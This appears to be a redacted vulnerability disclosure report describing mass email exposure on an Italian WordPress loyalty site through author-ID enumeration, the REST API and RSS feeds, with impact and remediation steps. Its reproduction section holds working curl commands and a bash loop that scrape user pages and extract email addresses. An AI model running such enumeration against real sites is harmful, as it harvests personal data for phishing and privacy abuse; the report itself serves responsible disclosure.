Mass PII Exposure: 120,000+ Consumer Email Addresses Leaked via Author Enumeration on ████████

How it was found

Summary

The WordPress loyalty program on ████████ (Essity's ████████ brand, Italian market) has 123,109+ registered users whose accounts can be individually enumerated by sequential user ID via /?author=N. 98.4% of these users have their full personal email address set as their WordPress display name, which is publicly exposed through:

1. Author archive page <title> tags visible in browser tabs, bookmarks, and search engine results
2. REST API user listing returns display names as name field
3. Author RSS feeds includes display names in <title> elements
4. Gravatar hashes SHA256 email hashes allow offline email verification

None of these channels require authentication. There is no noindex directive on author pages, so the email addresses are indexable by search engines.

Asset

• URL: https://████████
• Also affected: https://████████ (staging, same database)

Steps to Reproduce

Step 1 Determine total user count

# User 123109 exists (HTTP 200), user 123110 does not (HTTP 404)
curl -s -o /dev/null -w "%{http_code}" "https://████████/?author=123109"
# 200

curl -s -o /dev/null -w "%{http_code}" "https://████████/?author=123110"
# 404

Step 2 Extract email from any user's author page

curl -s -L "https://████████/?author=50000" | grep '<title>'

Response:

<title>████████ - ████████ di ████████</title>

The user's personal email address is exposed as the page title.

Step 3 Confirm mass exposure rate (sample of 250 users)

# Automated sample across the full ID range
for uid in $(seq 100 199) $(seq 1000 1019) $(seq 5000 5019) $(seq 10000 10019) $(seq 50000 50019) $(seq 100000 100019) $(seq 120000 120049); do
  title=$(curl -s -L "https://████████/?author=$uid" | grep -oP '(?<=<title>)[^<]+')
  echo "$uid: $title" | grep -P '@[\w.-]+\.\w{2,}'
done

Result: 246 out of 250 users (98.4%) have email addresses in their page titles.

Step 4 Confirm REST API also exposes emails

curl -s "https://████████/wp-json/wp/v2/users/9790"

{
    "id": 9790,
    "name": "████████",
    "slug": "████████",
    "link": "https://████████/author/████████/"
}

Step 5 Verify author pages are indexable

curl -s "https://████████/?author=50000" | grep -i 'noindex'
# Empty  no noindex directive

curl -s "https://████████/robots.txt" | grep -i 'author'
# Empty  no Disallow for /author/

Exposed PII Scale

Sample Exposed Users (Redacted)

Impact

• 120,000+ consumer email addresses exposed 98.4% of sampled users have their email as display name
• GDPR Article 5(1)(f) violation personal data of Italian/EU consumers exposed without access controls
• Search engine indexing author page titles contain email addresses and are crawlable (no noindex, no Disallow: /author/ in robots.txt)
• Full database enumerable sequential user IDs from 1 to 123,109 can be scanned without rate limiting
• Credential stuffing target list mass email harvesting enables targeted phishing campaigns against ████████ loyalty members

Remediation

1. URGENT: Reset all display names Replace email-based display names with anonymized screen names for all 123,000+ users
2. Add noindex to author pages Set <meta name="robots" content="noindex"> on all author archive pages immediately
3. Block /author/ in robots.txt Add Disallow: /author/ to prevent further crawling
4. Restrict REST API user listing Require authentication for /wp-json/wp/v2/users endpoint
5. Disable author archives Users have no authored content that requires public archive pages
6. Add rate limiting Implement rate limiting on /?author=N requests to prevent mass scraping
7. Notify affected users Under GDPR Article 34, users must be notified of this personal data breach
8. Submit GDPR breach notification Under GDPR Article 33, notify the Italian DPA (Garante) within 72 hours if not already done